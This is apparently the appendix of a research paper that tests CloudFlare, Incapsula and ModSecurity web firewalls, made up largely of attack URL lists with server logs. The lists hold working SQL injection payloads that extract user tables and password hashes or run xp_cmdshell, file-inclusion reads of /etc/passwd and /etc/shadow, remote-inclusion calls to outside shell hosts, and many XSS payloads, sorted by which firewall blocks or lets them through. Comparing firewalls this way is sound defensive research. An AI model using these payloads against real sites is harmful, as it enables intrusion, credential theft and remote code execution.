- /poc.php?Search=%27%20or%2F*%20comment%10%13%10%13%20*%2F1%3D1-- (sql comments)
- /poc.php?Search=%27%20or%2F*%20%2F*comment%20*%2F1%3D1--*%2F1%3D1-- (nested comments)
-
C6%2C7%2C8%2C9/*%210from/*%210mysql.user/*-- (executable comment)
-
/poc.php?Search=%27%09%09%09%09%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2
0or%201%3D1-- (multiple whitespace)
- /poc.php?Search=%27%20or%20/*&Search=*/%201%3D1--XXX (Multiple params, HPP)
- /poc.php?Search=asd%22or!(1)=%221
- /poc.php?Search=aaa'%20OR%20(1)%20IS%20NOT%20NULL#!asd
- /poc.php?Search='%20/*!or*/1='1
-
/poc.php?Search=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
,1,1,1,1,
- /poc.php?Search=1%20and%201=1
- /poc.php?Search=%27;%20DESC%20users;%20--
- /poc.php?Search=1'%20AND%20non_existant_table%20=%20'1
-
/poc.php?Search=1%20AND%20ASCII(LOWER(SUBSTRING((SELECT%20TOP%201%20name%20FROM%20sysobjects%20WHER
E%20xtype='U'),%201,%201)))%20%3E%20116
-
/poc.php?Search=1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,name%20FROM%20sysObjects%20WHERE%20xtype%20=
%20'U'%20--
- /poc.php?Search=1%20UNI/**/ON%20SELECT%20ALL%20FROM%20WHERE
- /poc.php?Search=substr(%E2%80%98abc%E2%80%99,1,1)%20=%20%E2%80%98a%E2%80%99
-
/poc.php?Search=union%20all%20select%20all%20%60delcoang_zslwaf%60%20from%60information_schema%60.%
20%60tables%60
- /poc.php?Search=%E2%80%98%20and%20substr((select%20max(pass)%20from%20users),1,1)=%E2%80%99a

CloudFlare LFI/RFI bypass list:

- /poc.php?cmd2=/etc/passwd
- /test.php?secret_file=%252fetc%252fpasswd
- /test.php?secret_file=//etc//passwd
- /poc.php?cmd=cat%20/etc/issue
- /poc.php?cmd=cat%20/etc/resolv.conf
- /poc.php?cmd=wget%20http://www.zeroscience.mk/images/labzs.jpg;%20id
- /poc.php?cmd2=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00
- /poc.php?cmd2=../../../../../../../../../etc/passwd
- /test.php?secret_file=..//..//..//..//..//..//..//etc//passwd
- /test.php?secret_file=/etc////passwd
- /test.php?secret_file=/etc/issue
- /webgrind/index.php?file=/etc/shadow&op=fileviewer
- /webgrind/index.php?file=/tmp/testfile&op=fileviewer
- /webgrind/index.php?file=//etc//passwd&op=fileviewer (double fwdslash //)
- /poc.php?cmd2=//etc//passwd (double fwdslash //)
- /webgrind/index.php?file=////etc////passwd&op=fileviewer (4 //// and 3///)
- /webgrind/index.php?file=/etc////passwd&op=fileviewer
- /poc.php?cmd2=http://evilsite.com/shell.php?
- /webgrind/index.php?file=%2F%65%74%63%2F%70%61%73%73%77%64&op=%66%69%6C%65%76%69%65%77%65%72
- /webgrind/index.php?file=///etc/passwd&op=fileviewer

41

Incapsula XSS bypass list:

- /poc.php?x=%3C/h2%3E%3Cinput%20onfocus=prompt%28%27ZSL%27%29;%20autofocus%3E
- /poc.php?x=%3C/h2%3E%3Cbody%20oninput=alert%281%29%3E%3Cinput%20autofocus%3E
-
/poc.php?x=%3C/h2%3E%3Cobject%20data=%22data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==%
22%3E%3C/object%3E

Incapsula XSS block list:

- /poc.php?x=';alert(String.fromCharCode(88,83,83))//
- /poc.php?x=";alert(String.fromCharCode(88,83,83))//
- /poc.php?x=";alert(String.fromCharCode(88,83,83))//--
- /poc.php?x=></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
- /poc.php?x=<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
- /poc.php?x=<IMG SRC=javascript:alert("XSS")>
- /poc.php?x=<IMG SRC=JaVaScRiPt:alert('XSS')>
- /poc.php?x=<IMG SRC="javascript:alert('XSS');">
- /poc.php?x=<IMG SRC=javascript:alert('XSS')>
- /poc.php?x=<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
- /poc.php?x=<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
- /poc.php?x=<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
- /poc.php?x=<IMG SRC="jav ascript:alert('XSS');">
- /poc.php?x=<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
- /poc.php?x=<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
- /poc.php?x=<<SCRIPT>alert("XSS");//<</SCRIPT>
- /poc.php?x=<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
- /poc.php?x=<SCRIPT SRC=//ha.ckers.org/.j>
- /poc.php?x=<IMG SRC="javascript:alert('XSS')"
- /poc.php?x=<iframe src=http://ha.ckers.org/scriptlet.html <
- /poc.php?x=";alert('XSS');//
- /poc.php?x=</TITLE><SCRIPT>alert("XSS");</SCRIPT>
- /poc.php?x=<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
- /poc.php?x=<BODY BACKGROUND="javascript:alert('XSS')">
- /poc.php?x=<IMG DYNSRC="javascript:alert('XSS')">
- /poc.php?x=<IMG LOWSRC="javascript:alert('XSS')">
- /poc.php?x=<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
- /poc.php?x=<BODY ONLOAD=alert('XSS')>
- /poc.php?x=<BGSOUND SRC="javascript:alert('XSS');">
- /poc.php?x=<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
- /poc.php?x=<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
- /poc.php?x=<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
- /poc.php?x=<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
- /poc.php?x=<XSS STYLE="xss:expression(alert('XSS'))">
- /poc.php?x=<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
- /poc.php?x=<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
- /poc.php?x=<TABLE BACKGROUND="javascript:alert('XSS')">
- /poc.php?x=<TABLE><TD BACKGROUND="javascript:alert('XSS')">
- /poc.php?x=<DIV STYLE="background-image: url(javascript:alert('XSS'))">
- /poc.php?x=<BASE HREF="javascript:alert('XSS');//">
- /poc.php?x=<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
- /poc.php?x=<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
- /poc.php?x=<XML ID="xss"><I><B><IMG SRC="javascript:alert('XSS')"></B></I></XML>
- /poc.php?x=<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
- /poc.php?x=<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
- /poc.php?x=<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
- /poc.php?x=<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
-
/poc.php?x=window['u0065u0076u0061u006C']('u0061u006Cu0065u0072u0074u0028u0027u0078u00
73u0073u0027u0029') (javascript escape)
-
/poc.php?x=%3Cimg%20src%3D%271.1.1.1%27%20onerror%3D%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%
26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%231

42

08%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2339%3B%26%2388%3B%26%2383%3B%26%2383%3B%26
%2339%3B%26%2341%3B%3E
- /poc.php?x=1<div style%3dwidth%3aexpression(prompt(1337))>
-
/poc.php?x=x22x3ex3cx73x63x72x69x70x74x3ex61x6cx65x72x74x28x31x29x3bx3cx2fx73
x63x72x69x70x74x3e
- /poc.php?x=<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>
- /poc.php?x=<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

Incapsula SQLi bypass list:

- /poc.php?Search2=joxy%27%20group%20by%20testzsl%20having%201=1--

Incapsula SQLi block list:

- /poc.php?Search=%u0027%u0020%u006f%u0072%u0020%u0031%u003d%u0031%u002d%u002d (MS Unicode
Encoding)
- /poc.php?Search=%27%20or%2F*%20comment%10%13%10%13%20*%2F1%3D1-- (sql comments)
- /poc.php?Search=%27%20or%2F*%20%2F*comment%20*%2F1%3D1--*%2F1%3D1-- (nested comments)
-
C6%2C7%2C8%2C9/*%210from/*%210mysql.user/*-- (executable comment)
-
/poc.php?Search=%27%09%09%09%09%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2
0or%201%3D1-- (multiple whitespace)
- /poc.php?Search=%27%20or%20/*&Search=*/%201%3D1--XXX (Multiple params, HPP)
- /poc.php?Search=asd%22or!(1)=%221
- /poc.php?Search=aaa'%20OR%20(1)%20IS%20NOT%20NULL#!asd
- /poc.php?Search='%20/*!or*/1='1
-
/poc.php?Search=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
,1,1,1,1,
- /poc.php?Search=1%20and%201=1
- /poc.php?Search=%27;%20DESC%20users;%20--
- /poc.php?Search=1'%20AND%20non_existant_table%20=%20'1
-
/poc.php?Search=1%20AND%20ASCII(LOWER(SUBSTRING((SELECT%20TOP%201%20name%20FROM%20sysobjects%20WHER
E%20xtype='U'),%201,%201)))%20%3E%20116
-
/poc.php?Search=1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,name%20FROM%20sysObjects%20WHERE%20xtype%20=
%20'U'%20--
- /poc.php?Search=1%20UNI/**/ON%20SELECT%20ALL%20FROM%20WHERE
- /poc.php?Search=substr(%E2%80%98abc%E2%80%99,1,1)%20=%20%E2%80%98a%E2%80%99
-
/poc.php?Search=union%20all%20select%20all%20%60delcoang_zslwaf%60%20from%60information_schema%60.%
20%60tables%60
- /poc.php?Search=%E2%80%98%20and%20substr((select%20max(pass)%20from%20users),1,1)=%E2%80%99a
- /poc.php?Search2=1%20and%201=1--

43

Incapsula LFI/RFI bypass list:

- /poc.php?cmd2=http://google.com?
- /poc.php?cmd=cat%20/etc/passwd
- /poc.php?cmd2=http://dni.destr0y.net/x.txt
- /poc.php?cmd2=http://96.8.122.139/x.php?????????

Incapsula LFI/RFI block list:

- /webgrind/index.php?file=%2F%65%74%63%2F%70%61%73%73%77%64&op=%66%69%6C%65%76%69%65%77%65%72
- /webgrind/index.php?file=///etc/passwd&op=fileviewer
- /webgrind/index.php?file=//etc//passwd&op=fileviewer

ModSecurity XSS block list:

- /poc.php?x=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
- /poc.php?x=%3Ca%20href=%22http://google.com%22%3Etest%3C/a%3E
- /poc.php?x=%3CA%20HREF=%22http://www.google.com%22%3EXSS%3C/A%3E
- /poc.php?x=%3CA%20HREF=%22http://1113982867/%22%3EXSS%3C/A%3E (dword)
- /poc.php?x=%3CA%20HREF=%22http://0102.0146.0007.00000223/%22%3EXSS%3C/A%3E (octal)
- /poc.php?x=%3CA%20HREF=%22http://0x42.0x0000066.0x7.0x93/%22%3EXSS%3C/A%3E
dD4K%22%3E
- /poc.php?x=%3CMETA%20HTTP-EQUIV=%22refresh%22%20CONTENT=%220;%20URL=http://google.com%22%3E
- /poc.php?x=%3CIMG%20SRC=%60javascript:alert%28%22RSnake%20says,%20%27XSS%27%22%29%60%3E
- /poc.php?x=%3CBODY%20BACKGROUND=%22javascript:alert%28%27XSS%27%29%22%3E
- /poc.php?x=1%3Cdiv%20style%3dwidth%3aexpression%28prompt%281337%29%29%3E
-
/poc.php?x=%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/
SCRIPT%3E
- /poc.php?x=%3CBGSOUND%20SRC=%22javascript:alert%28%27XSS%27%29;%22%3E
- /poc.php?x=%3CLINK%20REL=%22stylesheet%22%20HREF=%22javascript:alert%28%27XSS%27%29;%22%3E
- /poc.php?x=%3C/TITLE%3E%3CSCRIPT%3Ealert%28%22XSS%22%29;%3C/SCRIPT%3E
-
/poc.php?x=window[%27u0065u0076u0061u006C%27]%28%27u0061u006Cu0065u0072u0074u0028u0027u
0078u0073u0073u0027u0029%27%29%20%28javascript%20escape%29
-
/poc.php?x=%3CSCRIPT%3Edocument.write%28%22%3CSCRI%22%29;%3C/SCRIPT%3EPT%20SRC=%22http://ha.ckers.o
rg/xss.js%22%3E%3C/SCRIPT%3E
- /poc.php?x=%3E%3Cp%3E%3Ca%20href=%t%3Eonload!#$%&%28%29*~+-_.,:;?@[/|]^%60=waddupa%28%29;%22%3E
- /poc.php?x=%3Ciframe%20src=http://ha.ckers.org/scriptlet.html%20%3C
- /poc.php?x=%27%27;!--%22%3CXSS%3E=&{%28%29}
- /poc.php?x=%3CIMG%20SRC=%22jav	ascript:alert%28%27XSS%27%29;%22%3E
- /poc.php?x=%3CBR%20SIZE=%22&{alert%28%27XSS%27%29}%22%3E
-
/poc.php?x=%3CIMG%20SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72
&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29%3E
- /poc.php?x=x61x6cx65x72x74x28x27x58x53x53x2729
- /test.php?secret_file=%0D%0A%00
- /poc.php?x=%3C/h2%3E%3Cbody%20oninput=alert%281%29%3E%3Cinput%20autofocus%3E
-
/poc.php?x=%3C/h2%3E%3Cobject%20data=%22data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==%
22%3E%3C/object%3E
- /poc.php?x=<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>

44

ModSecurity SQLi block list:

- /poc.php?Search=test%27%20UNION%20ALL%20select%20NULL%20--
- /poc.php?Search=test%20/%20sleep(5)%20
-
/test.php?secret_file=create%20table%20myfile%20%28line%20varchar%288000%29%29%22%20bulk%20insert%2
0foo%20from%20%27c%3ainetpubwwwrootauth.asp?%27%22%20select%20*%20from%20myfile%22--
- /poc.php?Search=%00%27%20orx00%201%3D1--
- /poc.php?Search=23%27or%271%27=1
- /poc.php?Search=%27%20=+%20%27
- /poc.php?Search=aa%27%20LIKE%20md5%281%29%20or%20%271
-
/poc.php?Search=%91%20or%20round%28pi%28%29,1%29+true+true%20=%20version%28%29#%20or%203.1+1+1%20=%
205.1
-
/poc.php?Search=INSERT%20INTO%20members%28id,%20user,%20pass%29%20VALUES%281,%20%27%27+SUBSTRING%28
@@version,1,10%29%20,10%29
-
/poc.php?Search=1+union+select+load_file%280x63...%29,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
,1,1,1,1,1,1,
-
/poc.php?Search=%27%09%09%09%09%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2
0or%201%3D1--
-
C6%2C7%2C8%2C9/*%210from/*%210mysql.user/*--
- /wp/wp-
content/plugins/webplayer/playlist.php?videoid=1+/*!UNioN*/+/*!SELECT*/+group_concat%28ID,0x3a,user
_login,0x3a,user_pass,0x3b%29,2,3,4,5,6,7,8,9,10,11+from+wp_users
- /poc.php?Search=exec%20master%2e%2exp_cmdshell%20'net%2busers'
-
/test.php?secret_file=%27;%20/*,1*/%20EXEC%20/*,1*/%20master..xp_cmdshell%20/*,1*/%20%22ping%2010.1
.1.3%22%20/*,1*/%20--
-
/test.php?secret_file=select/*&secret_file=*/name&secret_file=password/*&secret_file=*/from/*&secre
t_file=*/users
- /test.php?secret_file=substr%28%E2%80%98abc%E2%80%99,1,1%29%20=%20%E2%80%98a%E2%80%99
-
/test.php?secret_file=union%20all%20select%20all%20%60delcoang_zslwaf%60%20from%60information_schem
a%60.%20%60tables%60
-
/test.php?secret_file=%E2%80%98%20and%20substr%28%28select%20max%28pass%29%20from%20users%29,1,1%29
=%E2%80%99a
- /poc.php?Search2=joxy%27%20group%20by%20testzsl%20having%201=1--
- /poc.php?Search2=joxy%20and%201=1--
-
/poc.php?Search=%91union%28select%281%29,tabe_name,%283%29from%60information_schema%60.%60tables%60
%29#
- /poc.php?Search2=1%20and%201=1--
- /poc.php?Search=select/*&Search=*/name&Search=password/*&Search=*/from/*&Search=*/users

ModSecurity LFI/RFI bypass list:

- /poc.php?cmd=cat%20/etc/passwd
- /poc.php?cmd2=http://dni.destr0y.net/x.txt

45

ModSecurity LFI/RFI block list:

- /poc.php?cmd2=/etc/passwd
- /test.php?secret_file=%252fetc%252fpasswd
- /test.php?secret_file=//etc//passwd
- /poc.php?cmd=cat%20/etc/resolv.conf
- /poc.php?cmd2=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00
- /poc.php?cmd2=../../../../../../../../../etc/passwd
- /test.php?secret_file=/etc////passwd
- /test.php?secret_file=cat%20/etc/resolv.conf
- /poc.php?cmd2=http://dni.destr0y.net/x.txt?
- /poc.php?cmd2=http://96.8.122.139/x.php?????????

46

CloudFlare additional images:

47

Incapsula additional images:

50

ModSecurity additional logs:

GET /test.php?secret_file=exec%20master%2e%2exp_cmdshell%20'net%2busers' HTTP/1.1
Host: 4sylum.destr0y.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:17.0) Gecko/20100101 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Cookie: incap_ses_104_31518=9putHhaDgSUqwb2vKH1xAeTf3VAAAAAAwOUwM0YDy2YoONuxmn9tbw==;
visid_incap_31518=ORHY74W0Ss+LiW78kiDj13bH3VAAAAAAAAAAAAAAAABcUyfY0U8aX60xO2DSBKO7
DNT: 1
Connection: close

HTTP/1.1 403 Forbidden
Date: Sat, 29 Dec 2012 00:33:40 GMT
Server: Apache/2.2.17 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 242
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

==================================

GET
/test.php?secret_file=create%20table%20myfile%20(line%20varchar(8000))"%20bulk%20insert%20foo%20fro
m%20'c%3a%5cinetpub%5cwwwroot%5cauth%2easp?'"%20select%20%2a%20from%20myfile"-- HTTP/1.1
Host: 4sylum.destr0y.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:17.0) Gecko/20100101 Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Cookie: incap_ses_104_31518=9putHhaDgSUqwb2vKH1xAeTf3VAAAAAAwOUwM0YDy2YoONuxmn9tbw==;
visid_incap_31518=ORHY74W0Ss+LiW78kiDj13bH3VAAAAAAAAAAAAAAAABcUyfY0U8aX60xO2DSBKO7
DNT: 1
Connection: close

HTTP/1.1 403 Forbidden
Date: Sat, 29 Dec 2012 00:33:00 GMT
Server: Apache/2.2.17 (Ubuntu)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 242
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1

==================================

GET http://4sylum.destr0y.net/poc.php?cmd=ls HTTP/1.1

70.193.196.53 - - [29/Dec/2012:01:48:19 +0400] "GET /poc.php?cmd=ls HTTP/1.1" 403 514 "-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/534.57.7 (KHTML, like Gecko)
Version/5.1.7 Safari/534.57.7"

==================================

[Fri Dec 28 18:51:49 2012] [error] [client 89.142.241.240] ModSecurity: Warning. Match of
"within %{tx.allowed_methods}" against "REQUEST_METHOD" required. [file
"/etc/modsecurity/base_rules/modsecurity_crs_30_http_policy.conf"] [line "31"] [id "960032"] [msg
"Method is not allowed by policy"] [data "GET"] [severity "CRITICAL"] [tag
"POLICY/METHOD_NOT_ALLOWED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A6"] [tag
"OWASP_AppSensor/RE1"] [tag "PCI/12.1"] [hostname "partizan.insec.si"] [uri "/modtest/poc.php"]
[unique_id "UN3cNX8AAAEAAGrZQQUAAAA0"]
[Fri Dec 28 18:51:49 2012] [error] [client 89.142.241.240] ModSecurity: Warning. Match of

59

"within %{tx.allowed_http_versions}" against "REQUEST_PROTOCOL" required. [file
"/etc/modsecurity/base_rules/modsecurity_crs_30_http_policy.conf"] [line "78"] [id "960034"] [msg
"HTTP protocol version is not allowed by policy"] [data "HTTP/1.1"] [severity "CRITICAL"] [tag
"POLICY/PROTOCOL_NOT_ALLOWED"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A6"] [tag "PCI/6.5.10"]
[hostname "partizan.insec.si"] [uri "/modtest/poc.php"] [unique_id "UN3cNX8AAAEAAGrZQQUAAAA0"]
[Fri Dec 28 18:51:49 2012] [error] [client 89.142.241.240] ModSecurity: Warning. Pattern match
"/etc/" at ARGS:cmd2. [file
"/etc/modsecurity/base_rules/modsecurity_crs_40_generic_attacks.conf"] [line "221"] [id "958700"]
[rev "2.2.0"] [msg "Remote File Access Attempt"] [data "/etc/"] [severity "CRITICAL"] [tag
"WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"]
[Fri Dec 28 18:51:49 2012] [error] [client 89.142.241.240] ModSecurity: Warning. Pattern match
"/etc/" at REQUEST_URI. [file
[rev "2.2.0"] [msg "Remote File Access Attempt"] [data "/etc/"] [severity "CRITICAL"] [tag
"WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"]
[Fri Dec 28 18:51:49 2012] [error] [client 89.142.241.240] ModSecurity: Warning. Match of "eq
1" against "&ARGS:CSRF_TOKEN" required. [file
"/etc/modsecurity/optional_rules/modsecurity_crs_43_csrf_protection.conf"] [line "31"] [id
"981143"] [msg "CSRF Attack Detected - Missing CSRF Token."] [hostname "partizan.insec.si"] [uri
"/modtest/poc.php"] [unique_id "UN3cNX8AAAEAAGrZQQUAAAA0"]

==================================

70.193.196.53 - - [28/Dec/2012:05:54:24 +0400] "GET /test.php?secret_file=/etc/passwd HTTP/1.1" 403
506 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:17.0) Gecko/20100101 Firefox/17.0"
149.126.75.1 - - [28/Dec/2012:06:00:16 +0400] "GET /poc.php?x=test HTTP/1.1" 403 514 "-"
"Opera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.12"
149.126.75.1 - - [28/Dec/2012:06:00:34 +0400] "GET /poc.php?x=test HTTP/1.1" 403 514 "-"
"Opera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.12"
70.193.196.53 - - [28/Dec/2012:20:20:23 +0400] "GET /secret_file= HTTP/1.1" 403 510 "-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:17.0) Gecko/20100101 Firefox/17.0"
70.193.196.53 - - [28/Dec/2012:20:20:27 +0400] "GET /secret_file.php? HTTP/1.1" 403 511 "-"
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:17.0) Gecko/20100101 Firefox/17.0"
70.193.196.53 - - [28/Dec/2012:20:20:53 +0400] "GET /test.php? HTTP/1.1" 403 506 "-" "Mozilla/5.0
(Macintosh; Intel Mac OS X 10.7; rv:17.0) Gecko/20100101 Firefox/17.0"
70.193.196.53 - - [28/Dec/2012:20:21:16 +0400] "GET /test.php?secret_file=/etc/passwd HTTP/1.1" 403
506 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:17.0) Gecko/20100101 Firefox/17.0"
198.143.32.1 - - [28/Dec/2012:20:24:54 +0400] "GET /test.php?secret_file=//etc//passwd HTTP/1.1"
403 507 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/534.57.7 (KHTML, like
Gecko) Version/5.1.7 Safari/534.57.7"
198.143.32.1 - - [28/Dec/2012:20:52:04 +0400] "GET /test.php?secret_file=//etc//passwd HTTP/1.1"
198.143.32.1 - - [28/Dec/2012:20:52:11 +0400] "GET /test.php?secret_file=/etc/issue HTTP/1.1" 403
506 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/534.57.7 (KHTML, like Gecko)
Version/5.1.7 Safari/534.57.7"
70.193.196.53 - - [28/Dec/2012:20:53:16 +0400] "GET /etc/passwd HTTP/1.0" 403 499 "-" "-"
198.143.32.1 - - [28/Dec/2012:21:06:35 +0400] "GET /test.php?secret_file=%5c/etc/issue HTTP/1.1"
198.143.32.1 - - [28/Dec/2012:21:06:46 +0400] "GET /test.php?secret_file=%255cetc/issue HTTP/1.1"
198.143.32.1 - - [28/Dec/2012:21:08:50 +0400] "GET /test.php?secret_file=%252fetc/issue HTTP/1.1"

[Sun Feb 10 16:44:56 2013] [error] [client 89.142.241.240] ModSecurity: [file
[rev "2"] [msg "Remote File Inclusion Attack"] [data "Matched Data: http://96.8.122.139 found
within ARGS:cmd2: http://96.8.122.139/x.php?"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.7"]
[maturity "9"] [accuracy "9"] [tag "OWASP_CRS/WEB_ATTACK/RFI"] Access denied with code 403 (phase
2). Pattern match
"^(?i)(?:ht|f)tps?://(d{1,3}.d{1,3}.d{1,3}.d{1,3})" at
ARGS:cmd2. [hostname "www.ceru.si"] [uri "/modtest/poc.php"] [unique_id "rJe29GyuNA0AAE6fpHgAAAAC"]

60

CloudFlare vs Incapsula vs ModSecurity

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